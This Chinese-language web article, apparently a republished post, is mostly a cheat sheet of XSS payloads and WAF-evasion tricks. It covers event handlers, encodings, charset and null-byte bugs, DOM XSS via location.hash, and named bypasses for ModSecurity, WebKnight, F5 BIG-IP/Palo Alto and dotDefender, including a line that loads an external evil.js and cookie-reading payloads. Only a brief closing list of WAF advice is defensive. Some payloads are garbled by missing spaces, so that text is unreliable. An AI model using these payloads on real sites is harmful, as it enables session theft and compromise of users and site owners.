溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

XSS現(xiàn)代WAF規(guī)則探測(cè)及繞過(guò)技術(shù)是怎樣的

發(fā)布時(shí)間:2021-12-27 16:18:58 來(lái)源:億速云 閱讀:151 作者:柒染 欄目:安全技術(shù)

XSS現(xiàn)代WAF規(guī)則探測(cè)及繞過(guò)技術(shù)是怎樣的,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。

初始測(cè)試

1、使用無(wú)害的payload,類似<b>,<i>,<u>觀察響應(yīng),判斷應(yīng)用程序是否被HTML編碼,是否標(biāo)簽被過(guò)濾,是否過(guò)濾<>等等;
2、如果過(guò)濾閉合標(biāo)簽,嘗試無(wú)閉合標(biāo)簽的payload(<b,<i,<marquee)觀察響應(yīng);
3、嘗試以下的payload
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm      (1);</script>
<script src="http://rhainfosec.com/evil.js">

判斷是否觸發(fā)過(guò)濾規(guī)則,嘗試使用大小寫混合字符

<scRiPt>alert(1);</scrIPt>
1、如果大小寫不行的話,<script>被過(guò)濾嘗試<scr<script>ipt>alert(1)</scr<script>ipt>;
2、使用<a>標(biāo)簽測(cè)試
<a  href=“http://www.google.com">Clickme</a>
<a被過(guò)濾?
href被過(guò)濾?
其他內(nèi)容被過(guò)濾?
如果沒有過(guò)濾嘗試使用<a href=”javascript:alert(1)”>Clickme</a>
嘗試使用錯(cuò)誤的事件查看過(guò)濾<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
HTML5擁有150個(gè)事件處理函數(shù),可以多嘗試其他函數(shù)<body/onhashchange=alert(1)><a href=#>clickit

測(cè)試其他標(biāo)簽

src屬性

<img src=x      onerror=prompt(1);>
<img/src=aaa.jpg      onerror=prompt(1);
<video src=x      onerror=prompt(1);>
<audio src=x      onerror=prompt(1);>

iframe

<iframesrc="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

Embed

<embed/src=//goo.gl/nlX0P>

Action

<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>

mario驗(yàn)證

<formaction=&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;><button>CLICK

“formaction”屬性

<isindexformaction="javascript:alert(1)"      type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript&colon;alert(1)>CLICKME

“background”屬性

<table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6

“posters” 屬性

<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5

“data”屬性

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?

“code”屬性

<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>

事件處理

<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">

短payload

<q/oncut=open()>
<q/oncut=alert(1)> //      Useful in-case of payload restrictions.

嵌套欺騙

<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body  language=vbsonload=alert-1 // Works with IE8
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6    9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>      // Works with IE8

圓括號(hào)被過(guò)濾

<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;

Expression 屬性

<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div>      // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7

“l(fā)ocation”屬性

<a onmouseover=location=&rsquo;javascript:alert(1)>click
<body onfocus="location=&#039;javascrpt:alert(1) >123

其他Payload

<meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin="0s"      dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed

();:被過(guò)濾

<svg><script>alert&#40/1/&#41</script>      // Works With All Browsers
( is html encoded to &#40
) is html encoded to &#41

Opera的變量

<svg><script>alert&#40      1&#41 // Works with Opera Only

實(shí)體解碼

&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
<a  href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>

編碼

JavaScript是很靈活的語(yǔ)言,可以使用十六進(jìn)制、Unicode、HTML等進(jìn)行編碼,以下屬性可以被編碼(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)

href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

基于上下文的過(guò)濾

WAF最大的問(wèn)題是不能理解內(nèi)容,使用黑名單可以阻擋獨(dú)立的js腳本,但仍不能對(duì)xss提供足夠的保護(hù),如果一個(gè)反射型的XSS是下面這種形式

輸入反射屬性

<input value="XSStest" type=text>
我們可以使用 “><imgsrc=x  onerror=prompt(0);>觸發(fā),但是如果<>被過(guò)濾,我們?nèi)匀豢梢允褂谩?nbsp;autofocusonfocus=alert(1)//觸發(fā),基本是使用“ 關(guān)閉value屬性,再加入我們的執(zhí)行腳本
" onmouseover="prompt(0) x="
" onfocusin=alert(1)     autofocus x="
" onfocusout=alert(1)     autofocus x="
" onblur=alert(1) autofocus     a="
輸入反射在<script>標(biāo)簽內(nèi)
類似這種情況:
<script>
Var
x=”Input”;
</script>
通常,我們使用“></script>,閉合前面的</script>標(biāo)簽,然而在這種情況,我們也可以直接輸入執(zhí)行腳本alert(), prompt()
confirm() ,例如:
“;alert(1)//

非常規(guī)事件監(jiān)聽

DOMfocusin,DOMfocusout,等事件,這些需要特定的事件監(jiān)聽適當(dāng)?shù)膱?zhí)行。例如:

";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//

此類事件的列表

DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified

超文本內(nèi)容

代碼中的情況如下

<a  href=”Userinput”>Click</a>
可以使用javascript:alert(1)//直接執(zhí)行<a
href=”javascript:alert(1)//”>Click</a>

變形

主要包含大小寫和JavaScript變形

javascript&#058;alert(1)
javaSCRIPT&colon;alert(1)
JaVaScRipT:alert(1)
javas&Tab;cript:\u0061lert(1);
javascript:\u0061lert&#x28;1&#x29
javascript&#x3A;alert&lpar;document&period;cookie&rpar;      // AsharJaved

IE10以下和URI中可以使用VBScript

vbscript:alert(1);
vbscript&#058;alert(1);
vbscr&Tab;ipt:alert(1)"

Data URl

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

JSON內(nèi)容

反射輸入

encodeURIComponent(&#039;userinput&#039;)

可以使用

-alert(1)-
-prompt(1)-
-confirm(1)-

結(jié)果

encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)

輸入反射在svg標(biāo)簽內(nèi)

源碼如下:

<svg><script>varmyvar=”YourInput”;</script></svg>

可以輸入

www.site.com/test.php?var=text”;alert(1)//

如果系統(tǒng)編碼了”字符

<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

原因是引入了附加的(XML)到HTML內(nèi)容里,可以使用2次編碼處理

瀏覽器BUG

字符集BUG

字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集編碼,我們可以繞過(guò)99% 的WAF過(guò)濾。

示例

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

可以控制編碼,提交

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img src=x onerror=prompt(0);>

可以修改為UTF-32編碼形式

???script?alert(1)?/script?
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

空字節(jié)

最長(zhǎng)用來(lái)繞過(guò)mod_security防火墻,形式如下:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

空字節(jié)只適用于PHP 5.3.8以上的版本

語(yǔ)法BUG

RFC聲明中節(jié)點(diǎn)名稱不能是空格,以下的形式在javascript中不能運(yùn)行

<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
<//     style=x:expression\28write(1)\29> // Works upto IE7
參考http://html5sec.org/#71
<!--[if]><script>alert(1)</script     --> // Works upto IE9
參考http://html5sec.org/#115
<?xml-stylesheet     type="text/css"?><root     style="x:expression(write(1))"/> // Works in IE7
參考 http://html5sec.org/#77
<%div%20style=xss:expression(prompt(1))>     // Works Upto IE7

Unicode分隔符

[on\w+\s*]這個(gè)規(guī)則過(guò)濾了所有on事件,為了驗(yàn)證每個(gè)瀏覽器中有效的分隔符,可以使用fuzzing方法測(cè)試0&times;00到0xff,結(jié)果如下:
IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]
Chrome =     [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox=     [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android =     [0x09,0x20,0x28,0x2C,0x3B]
x0b在Mod_security中已經(jīng)被過(guò)濾,繞過(guò)的方法:
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec

缺少X-frame選項(xiàng)

通常會(huì)認(rèn)為X-frame是用來(lái)防護(hù)點(diǎn)擊劫持的配置,其實(shí)也可以防護(hù)使用iframe引用的xss漏洞

Docmodes

IE引入了doc-mode很長(zhǎng)時(shí)間,提供給老版本瀏覽器的后端兼容性,有風(fēng)險(xiǎn),攻擊情景是黑客可以引用你站點(diǎn)的框架,他可以引入doc-mode執(zhí)行css表達(dá)式

expression(open(alert(1)))

以下POC可以插入到IE7中

<html>
<body>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframesrc="https://targetwebsite.com">
</body>
</html>

Window.name欺騙

情景:我們用iframe加載一個(gè)頁(yè)面,我們可以控制窗口的名稱,這里也可以執(zhí)行javascript代碼

POC

<iframesrc=&#039;http://www.target.com?foo="xss  autofocus/AAAAA  onfocus=location=window.name//&#039;
name="javascript:alert("XSS")"></iframe>

DOM型XSS

服務(wù)器不支持過(guò)濾DOM型的XSS,因?yàn)镈OM型XSS總是在客戶端執(zhí)行,看一個(gè)例子:

<script>
vari=location.hash;
document.write(i);
</script>

在一些情況下,反射型XSS可以轉(zhuǎn)換成DOM型XSS:
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
上面的POC只在[.+都被允許的情況下適用,可以使用location.hash注入任何不允許的編碼

Location.hash[1] = :  // Defined at the first position after     the hash.
Location.hash[2]= (  // Defined at the second position after     the has
Location.hash[3] = ) // Defined     at third position after the hash.

如果有客戶端過(guò)濾可能不適用

繞過(guò)

ModSecurity繞過(guò)

<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec

參考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

WEB KNIGHT繞過(guò)

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>

F5 BIG IP ASM and Palo ALTO繞過(guò)

<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
“/><marquee  onfinish=confirm(123)>a</marquee>

Dot Defender繞過(guò)

<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>

黑名單方式永遠(yuǎn)不是最好的解決辦法,但是相對(duì)與白名單效率很高,對(duì)于WAF供應(yīng)商來(lái)說(shuō),最好的實(shí)踐如下:

1、開發(fā)者和管理員要注意WAF只能緩解攻擊,并且針對(duì)已知的弱點(diǎn)的防護(hù)只是和源代碼修復(fù)的方法打個(gè)時(shí)間差;
2、要保持WAF的規(guī)則庫(kù)更新;
3、WAF可以配置參數(shù)限制,需要提供手冊(cè)用于配置參數(shù)content-length最大最小長(zhǎng)度,content-type類型,在入侵時(shí)進(jìn)行告警;
4、如果WAF依據(jù)黑名單,要確??梢宰钄嘁阎臑g覽器BUG,并且相應(yīng)規(guī)則庫(kù)要及時(shí)更新。

看完上述內(nèi)容,你們掌握XSS現(xiàn)代WAF規(guī)則探測(cè)及繞過(guò)技術(shù)是怎樣的的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI